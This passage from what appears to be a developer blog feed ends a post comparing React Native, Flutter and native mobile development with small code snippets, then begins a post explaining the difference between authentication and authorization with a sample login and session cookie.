&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Platform&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;OS&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;android&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Running on Android&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is not necessarily a problem.&lt;/p&gt;

&lt;p&gt;But it demonstrates an important point:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Cross-platform does not mean platform differences disappear.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Applications that use Bluetooth, background services, advanced camera functionality, notifications, widgets, health data, or other operating-system features may still require platform-specific work.&lt;/p&gt;

&lt;p&gt;The framework can reduce duplication.&lt;/p&gt;

&lt;p&gt;It cannot erase the platforms underneath it.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flutter
&lt;/h2&gt;

&lt;p&gt;Flutter takes a different approach.&lt;/p&gt;

&lt;p&gt;Flutter applications are written primarily in Dart.&lt;/p&gt;

&lt;p&gt;A very simple Flutter interface might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight dart"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="s"&gt;'package:flutter/material.dart'&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;UserProfile&lt;/span&gt; &lt;span class="kd"&gt;extends&lt;/span&gt; &lt;span class="n"&gt;StatelessWidget&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;UserProfile&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="k"&gt;super&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;key&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;

  &lt;span class="nd"&gt;@override&lt;/span&gt;
  &lt;span class="n"&gt;Widget&lt;/span&gt; &lt;span class="n"&gt;build&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BuildContext&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;'khg5293'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;Scaffold&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nl"&gt;body:&lt;/span&gt; &lt;span class="n"&gt;Center&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="nl"&gt;child:&lt;/span&gt; &lt;span class="n"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
      &lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flutter provides its own extensive widget system for building application interfaces.&lt;/p&gt;

&lt;p&gt;Instead of relying as heavily on the platform's standard UI components, Flutter gives developers a consistent way to construct and render interfaces across platforms.&lt;/p&gt;

&lt;p&gt;That can be extremely useful when visual consistency is important.&lt;/p&gt;

&lt;h2&gt;
  
  
  Flutter's Biggest Strength: UI Consistency
&lt;/h2&gt;

&lt;p&gt;Suppose a designer wants the application to look nearly identical on Android and iOS.&lt;/p&gt;

&lt;p&gt;With Flutter, the interface can be built from the same widget hierarchy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight dart"&gt;&lt;code&gt;&lt;span class="n"&gt;Column&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="nl"&gt;children:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="n"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'khg5293'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="n"&gt;ElevatedButton&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
      &lt;span class="nl"&gt;onPressed:&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{},&lt;/span&gt;
      &lt;span class="nl"&gt;child:&lt;/span&gt; &lt;span class="n"&gt;Text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;'View Profile'&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
    &lt;span class="p"&gt;),&lt;/span&gt;
  &lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Because Flutter controls so much of the rendering process, developers have considerable control over how the interface appears.&lt;/p&gt;

&lt;p&gt;This is especially attractive for applications with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Custom animations
Highly branded interfaces
Complex layouts
Custom design systems
Consistent appearance across platforms
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For those kinds of applications, Flutter can feel less like adapting an interface to two platforms and more like building one visual system that happens to run on both.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Dart Question
&lt;/h2&gt;

&lt;p&gt;Flutter also introduces something React Native often does not:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;A new programming language for many teams.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dart is not inherently difficult, but a JavaScript-heavy organization may already have years of experience with TypeScript.&lt;/p&gt;

&lt;p&gt;For that team, the difference might look something like this:&lt;/p&gt;

&lt;p&gt;React Native:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;username&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;khg5293&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flutter:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight dart"&gt;&lt;code&gt;&lt;span class="kt"&gt;String&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;'khg5293'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The syntax is not dramatically different.&lt;/p&gt;

&lt;p&gt;The larger issue is ecosystem familiarity.&lt;/p&gt;

&lt;p&gt;A React development team might already know:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;TypeScript
React patterns
npm packages
Frontend tooling
JavaScript debugging
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Moving to Flutter means learning another ecosystem.&lt;/p&gt;

&lt;p&gt;That may be completely worthwhile.&lt;/p&gt;

&lt;p&gt;But it is still a cost worth considering.&lt;/p&gt;

&lt;h2&gt;
  
  
  Native Development
&lt;/h2&gt;

&lt;p&gt;Native development means building applications using the technologies designed specifically for each operating system.&lt;/p&gt;

&lt;p&gt;For iOS, that generally means Swift.&lt;/p&gt;

&lt;p&gt;For Android, that generally means Kotlin.&lt;/p&gt;

&lt;p&gt;A simple Swift example might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"khg5293"&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the equivalent Kotlin example might be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight kotlin"&gt;&lt;code&gt;&lt;span class="kd"&gt;val&lt;/span&gt; &lt;span class="py"&gt;username&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"khg5293"&lt;/span&gt;
&lt;span class="nf"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The major difference is not the syntax.&lt;/p&gt;

&lt;p&gt;It is that the application is being developed directly against the platform's native frameworks.&lt;/p&gt;

&lt;p&gt;That gives developers the deepest access to the operating system.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Native Development Still Matters
&lt;/h2&gt;

&lt;p&gt;Cross-platform frameworks are powerful, but native development still has an important advantage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The operating system itself is the primary target.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When Apple introduces a new iOS capability, native iOS developers can generally work directly with Apple's APIs.&lt;/p&gt;

&lt;p&gt;When Android introduces a new platform feature, native Android developers can interact directly with Android's APIs.&lt;/p&gt;

&lt;p&gt;There is no additional framework layer that must first expose or support that functionality.&lt;/p&gt;

&lt;p&gt;For applications that depend heavily on platform capabilities, that can be extremely valuable.&lt;/p&gt;

&lt;p&gt;Examples might include applications that rely heavily on:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Bluetooth
Advanced camera functionality
Background processing
Platform widgets
Health data
Device sensors
Low-level performance
Operating-system integrations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cross-platform frameworks can support many of these features too.&lt;/p&gt;

&lt;p&gt;But the more deeply an application depends on the operating system, the more important native knowledge tends to become.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Cost of Going Native
&lt;/h2&gt;

&lt;p&gt;The obvious disadvantage is duplication.&lt;/p&gt;

&lt;p&gt;Imagine the same feature needs to exist on Android and iOS.&lt;/p&gt;

&lt;p&gt;With native development, the team may need something like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Swift implementation
+
Kotlin implementation
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The business logic may be conceptually identical, but the implementation can still exist in two codebases.&lt;/p&gt;

&lt;p&gt;That can mean:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;More development time
More testing
More platform-specific bugs
More engineers
More maintenance
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For a large company with dedicated Android and iOS teams, that may be perfectly acceptable.&lt;/p&gt;

&lt;p&gt;For a small startup with three developers, it might be much harder to justify.&lt;/p&gt;

&lt;h2&gt;
  
  
  Code Sharing Is Not the Same as Zero Duplication
&lt;/h2&gt;

&lt;p&gt;Cross-platform frameworks are sometimes described as if developers write one application and instantly receive two perfect applications.&lt;/p&gt;

&lt;p&gt;Reality is usually more complicated.&lt;/p&gt;

&lt;p&gt;A React Native project may contain code like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;Platform&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;OS&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;android&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;enableAndroidFeature&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nf"&gt;enableIOSFeature&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A Flutter application might also need to detect the platform:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight dart"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Platform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isAndroid&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;enableAndroidFeature&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Platform&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isIOS&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;enableIOSFeature&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And some functionality may require completely separate native implementations.&lt;/p&gt;

&lt;p&gt;So the real goal is usually not:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;100% shared code
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is more realistically:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Share the code that makes sense to share.
Keep platform-specific code where platform-specific behavior matters.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is a much healthier way to think about cross-platform development.&lt;/p&gt;

&lt;h2&gt;
  
  
  Performance
&lt;/h2&gt;

&lt;p&gt;Performance discussions around mobile frameworks can become overly simplistic.&lt;/p&gt;

&lt;p&gt;It is tempting to reduce the question to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Native is fast.
Cross-platform is slow.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Modern mobile development is more complicated than that.&lt;/p&gt;

&lt;p&gt;For many ordinary applications, all three approaches can provide excellent performance.&lt;/p&gt;

&lt;p&gt;Consider an application containing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Login
Profile screens
REST API requests
Lists
Settings
Notifications
Forms
Basic animations
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A well-built React Native or Flutter application can handle that kind of workload comfortably.&lt;/p&gt;

&lt;p&gt;The differences become more important when the application performs unusually demanding work.&lt;/p&gt;

&lt;p&gt;Examples might include:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Complex real-time graphics
Heavy image processing
Extremely animation-heavy interfaces
Large amounts of device interaction
Low-latency audio
Specialized hardware access
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In those situations, native development may provide more predictable control.&lt;/p&gt;

&lt;p&gt;But framework choice alone does not determine performance.&lt;/p&gt;

&lt;p&gt;Poor architecture can make a native application slow.&lt;/p&gt;

&lt;p&gt;Good architecture can make a cross-platform application extremely responsive.&lt;/p&gt;

&lt;h2&gt;
  
  
  UI and Platform Feel
&lt;/h2&gt;

&lt;p&gt;There is also a philosophical difference in how applications should look.&lt;/p&gt;

&lt;p&gt;Some teams want:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The same interface everywhere.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Other teams want:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;An Android application that feels Android-native
and
an iOS application that feels iOS-native.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flutter is particularly attractive for the first goal.&lt;/p&gt;

&lt;p&gt;Its widget system makes it easier to maintain a highly consistent design across platforms.&lt;/p&gt;

&lt;p&gt;React Native often sits somewhere in the middle.&lt;/p&gt;

&lt;p&gt;Developers can share large amounts of interface code while still interacting with native platform behavior.&lt;/p&gt;

&lt;p&gt;Native development provides the greatest freedom to embrace each operating system independently.&lt;/p&gt;

&lt;p&gt;None of these approaches is automatically correct.&lt;/p&gt;

&lt;p&gt;It depends on the product.&lt;/p&gt;

&lt;h2&gt;
  
  
  Developer Experience
&lt;/h2&gt;

&lt;p&gt;The background of the development team matters enormously.&lt;/p&gt;

&lt;p&gt;Imagine three teams.&lt;/p&gt;

&lt;p&gt;Team A:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;5 React developers
Strong TypeScript experience
Little mobile experience
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;React Native would be an obvious framework to investigate.&lt;/p&gt;

&lt;p&gt;Team B:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Developers comfortable learning Dart
Application requires highly customized UI
Strong desire for visual consistency
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Flutter becomes very attractive.&lt;/p&gt;

&lt;p&gt;Team C:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Dedicated Android engineers
Dedicated iOS engineers
Heavy platform integration
Large engineering budget
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Native development may make perfect sense.&lt;/p&gt;

&lt;p&gt;Technical decisions do not happen in a vacuum.&lt;/p&gt;

&lt;p&gt;The best theoretical technology can still be the wrong choice for the team that actually has to maintain it.&lt;/p&gt;

&lt;h2&gt;
  
  
  React Native vs Flutter
&lt;/h2&gt;

&lt;p&gt;The most interesting comparison is often React Native versus Flutter because both attempt to solve similar cross-platform problems.&lt;/p&gt;

&lt;p&gt;A simplified comparison might look like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;React Native
------------
Language: JavaScript / TypeScript
UI model: React-style components
Strong fit: Existing React teams
Major advantage: JavaScript ecosystem familiarity

Flutter
-------
Language: Dart
UI model: Flutter widgets
Strong fit: Highly customized cross-platform applications
Major advantage: UI consistency and control
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That does not make one objectively better.&lt;/p&gt;

&lt;p&gt;It means they optimize for somewhat different development experiences.&lt;/p&gt;

&lt;h2&gt;
  
  
  Native vs Cross-Platform
&lt;/h2&gt;

&lt;p&gt;The deeper decision may actually be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;How much abstraction do we want between our application and the operating system?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cross-platform frameworks intentionally add abstraction.&lt;/p&gt;

&lt;p&gt;That abstraction provides enormous value because it allows code reuse.&lt;/p&gt;

&lt;p&gt;But every abstraction also creates another layer developers need to understand.&lt;/p&gt;

&lt;p&gt;Native development removes much of that additional layer, but sacrifices code sharing.&lt;/p&gt;

&lt;p&gt;So the tradeoff looks something like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;More code sharing
        ↑
React Native / Flutter
        |
        |
Native development
        ↓
More direct platform control
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Neither end of that spectrum is automatically better.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Would Choose
&lt;/h2&gt;

&lt;p&gt;If I were working with a JavaScript-heavy team building a typical mobile product, I would seriously consider React Native.&lt;/p&gt;

&lt;p&gt;The ability to reuse existing TypeScript and React knowledge is difficult to ignore.&lt;/p&gt;

&lt;p&gt;If I were building a highly customized application where maintaining the same visual experience across Android and iOS was especially important, Flutter would become very attractive.&lt;/p&gt;

&lt;p&gt;If the application depended heavily on platform-specific APIs or required maximum control over the operating system, I would strongly consider native development.&lt;/p&gt;

&lt;p&gt;In other words:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;React Native:
Great when existing JavaScript and React knowledge matters.

Flutter:
Great when consistent custom UI across platforms matters.

Native:
Great when maximum platform integration and control matter.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is not a ranking.&lt;/p&gt;

&lt;p&gt;It is a question of priorities.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Maintenance Question
&lt;/h2&gt;

&lt;p&gt;There is one more factor that matters long after the application launches.&lt;/p&gt;

&lt;p&gt;Who will maintain it?&lt;/p&gt;

&lt;p&gt;A framework decision may survive for years.&lt;/p&gt;

&lt;p&gt;The original developers may leave.&lt;/p&gt;

&lt;p&gt;The application may grow.&lt;/p&gt;

&lt;p&gt;Platform APIs may change.&lt;/p&gt;

&lt;p&gt;New features may require deeper operating-system integrations.&lt;/p&gt;

&lt;p&gt;Choosing a technology because it is exciting today is less important than choosing something the team can realistically support for the life of the product.&lt;/p&gt;

&lt;p&gt;That means asking questions like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Can we hire developers for this stack?

Does our team understand the language?

How dependent are we on third-party packages?

How much native knowledge will we eventually need?

How difficult will upgrades be?

Will this architecture still make sense when the application is much larger?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those questions are less exciting than framework benchmarks.&lt;/p&gt;

&lt;p&gt;They may also matter more.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thought
&lt;/h2&gt;

&lt;p&gt;React Native, Flutter, and native development are not three versions of the same solution.&lt;/p&gt;

&lt;p&gt;They represent different tradeoffs.&lt;/p&gt;

&lt;p&gt;React Native tries to combine cross-platform development with the JavaScript and React ecosystem.&lt;/p&gt;

&lt;p&gt;Flutter provides a highly integrated framework for building consistent interfaces across platforms.&lt;/p&gt;

&lt;p&gt;Native development gives developers the most direct relationship with Android and iOS themselves.&lt;/p&gt;

&lt;p&gt;The real question is not:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Which framework is best?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Which tradeoffs make the most sense for this application and this team?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For one project, the answer might be React Native.&lt;/p&gt;

&lt;p&gt;For another, Flutter.&lt;/p&gt;

&lt;p&gt;For another, separate native applications may be worth the additional work.&lt;/p&gt;

&lt;p&gt;The technology matters.&lt;/p&gt;

&lt;p&gt;But the context in which that technology is being used matters even more.&lt;/p&gt;

</description>
      <category>mobile</category>
      <category>reactnative</category>
      <category>flutter</category>
      <category>development</category>
    </item>
    <item>
      <title>Why Authentication and Authorization Are Not the Same Thing</title>
      <dc:creator>khg5293</dc:creator>
      <pubDate>Tue, 29 Sep 2026 19:33:02 +0000</pubDate>
      <link>https://dev.to/khg5293/why-authentication-and-authorization-are-not-the-same-thing-2add</link>
      <guid>https://dev.to/khg5293/why-authentication-and-authorization-are-not-the-same-thing-2add</guid>
      <description>&lt;p&gt;Authentication and authorization are often mentioned together, so it is easy to treat them as if they are the same thing.&lt;/p&gt;

&lt;p&gt;They are not.&lt;/p&gt;

&lt;p&gt;A simple way to think about it is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Authentication answers:&lt;/strong&gt; Who are you?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Authorization answers:&lt;/strong&gt; What are you allowed to do?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A user can be successfully authenticated and still be unauthorized to access a resource.&lt;/p&gt;

&lt;p&gt;That distinction matters because many security bugs happen when an application verifies identity but fails to verify permissions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Authentication: Proving Identity
&lt;/h2&gt;

&lt;p&gt;Authentication is the process of verifying that a user is who they claim to be.&lt;/p&gt;

&lt;p&gt;A common example is logging into a website with a username and password.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Username: khg5293
Password: ********
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If the credentials are valid, the server may create a session and return a session cookie.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Set-Cookie: sessionId=abc123xyz;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From that point on, the browser can send the cookie with later requests.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;GET /account
Cookie: sessionId=abc123xyz
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server checks the session and determines:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;This request belongs to khg5293.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That is authentication.&lt;/p&gt;

&lt;p&gt;The server now knows who is making the request.&lt;/p&gt;

&lt;p&gt;But that does not automatically mean the user should be allowed to access everything.&lt;/p&gt;

&lt;h2&gt;
  
  
  Authorization: Checking Permissions
&lt;/h2&gt;

&lt;p&gt;Authorization happens after identity is known.&lt;/p&gt;

&lt;p&gt;Imagine the application has two users:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;khg5293
admin
